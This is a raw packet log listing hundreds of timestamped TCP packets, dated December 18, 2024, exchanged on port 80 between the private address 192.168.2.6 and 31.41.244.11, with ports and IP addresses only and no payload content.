Dec 18, 2024 11:47:18.480222940 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.480274916 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.480982065 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.481026888 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.481137037 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.481184959 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.482148886 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.482192993 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.482203960 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.482245922 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.483375072 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.483401060 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.483422995 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.483441114 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.484527111 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.484543085 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.484574080 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.484590054 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.485657930 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.485708952 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.486829996 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.486841917 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.486866951 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.486887932 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.486913919 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.486944914 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.488024950 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.488051891 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.488070965 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.488105059 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.489320993 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.489363909 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.489799976 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.489852905 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.491190910 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.491244078 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.491302013 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.491348028 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.492018938 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.492031097 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.492054939 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.492291927 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.492827892 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.492841005 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.492882013 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.493045092 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.493927956 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.493941069 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.493973017 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.495004892 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.495044947 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.495289087 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.495331049 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.496370077 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.496411085 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.497097015 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.497154951 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.497519016 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.497584105 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.497642040 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.497687101 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.498500109 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.498548031 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.498768091 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.498831034 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.499686956 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.499743938 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.500072956 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.500118971 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.500886917 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.500926018 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.500989914 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.501049042 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.502038002 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.502084970 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.502779961 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.502824068 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.503186941 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.503235102 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.503582001 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.503627062 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.504405022 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.504420996 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.504456997 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.505537033 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.505587101 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.506247044 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.506293058 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.506706953 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.506753922 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.506835938 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.506911039 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.507891893 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.507931948 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.507951021 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.507973909 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.509119987 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.509136915 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.509162903 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.509181023 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.510166883 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.510204077 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.640867949 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.640924931 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.641010046 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.641057014 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.641587973 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.641634941 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.641765118 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.641810894 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.642767906 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.642813921 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.642857075 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.642895937 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.643858910 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.643922091 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.644000053 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.644046068 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.644820929 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.644835949 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.644866943 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.644881010 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.645771027 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.645818949 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.645947933 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.646002054 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.646787882 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.646840096 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.646867037 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.646903992 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.647897005 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.647911072 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.647958994 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.647958994 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.648969889 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.649023056 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.649041891 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.649080992 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.650130033 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.650182009 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.650376081 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.650413990 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.651356936 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.651382923 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.651393890 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.651418924 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.652472973 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.652517080 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.652637005 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.652683973 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.653704882 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.653754950 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.653892994 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.653928041 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.654875994 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.654917002 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.655440092 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.655486107 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.656053066 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.656096935 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.656445980 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.656487942 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.657139063 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.657233953 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.657443047 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.657516003 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.658344030 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.658358097 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.658394098 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.659516096 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.659562111 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.659902096 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.659950018 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.660660982 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.660706043 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.660986900 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.661037922 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.661849976 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.661884069 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.662084103 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.662126064 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.663042068 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.663110018 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.663351059 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.663402081 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.664181948 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.664226055 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.664248943 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.664284945 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.665369987 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.665437937 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.665465117 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.665548086 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.666544914 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.666681051 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.666686058 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.666733027 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.667726040 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.667738914 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.667764902 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.667782068 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.668823004 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.668872118 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.669104099 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.669146061 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.669991016 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.670027971 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.670116901 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.670156002 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.671192884 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.671233892 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.671479940 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.671520948 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.672395945 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.672457933 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.672720909 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.672770023 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.673548937 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.673588037 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.673645020 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.673686028 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.675255060 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.675299883 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.675491095 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.675529957 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.676534891 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.676585913 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.676650047 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.676778078 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.677582979 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.677627087 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.678205967 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.678251982 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.678718090 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.678764105 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.679069996 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.679116011 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.679660082 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.679701090 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.679727077 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.679764032 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.680680990 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.680727005 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.681041002 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.681082964 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.681701899 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.681735992 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.681833029 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.681871891 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.682897091 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.682940960 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.682959080 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.682991982 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.684339046 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.684380054 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.685085058 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.685144901 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.685749054 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.685761929 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.685790062 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.686819077 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.686834097 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.686861992 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.686878920 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.687810898 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.687851906 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.687880993 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.687920094 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.688899040 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.688944101 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.689049959 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.689086914 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.690007925 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.690051079 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.690074921 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.690112114 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.691077948 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.691119909 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.691188097 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.691226959 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.692276001 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.692291975 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.692320108 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.692337990 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.693427086 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.693469048 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.693623066 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.693660975 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.694663048 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.694675922 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.694709063 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.695771933 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.695818901 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.695946932 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.695985079 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.696969032 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.697010994 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.697027922 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.697062969 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.698100090 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.698115110 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.698141098 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.698158026 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.699251890 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.699291945 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.699343920 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.699382067 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.700431108 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.700474977 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.700589895 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.700632095 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.701522112 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.701565981 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.831237078 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.831298113 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.831613064 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.831665993 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.831785917 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.831834078 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.832211971 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.832259893 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.832957029 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.833014011 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.833137989 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.833192110 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.834161997 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.834227085 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.835171938 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.835223913 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.835331917 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.835350037 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.835401058 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.836500883 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.836555958 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.836566925 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.836613894 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.836627007 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.837646961 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.837692022 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.838016033 CET	80	49806	31.41.244.11	192.168.2.6
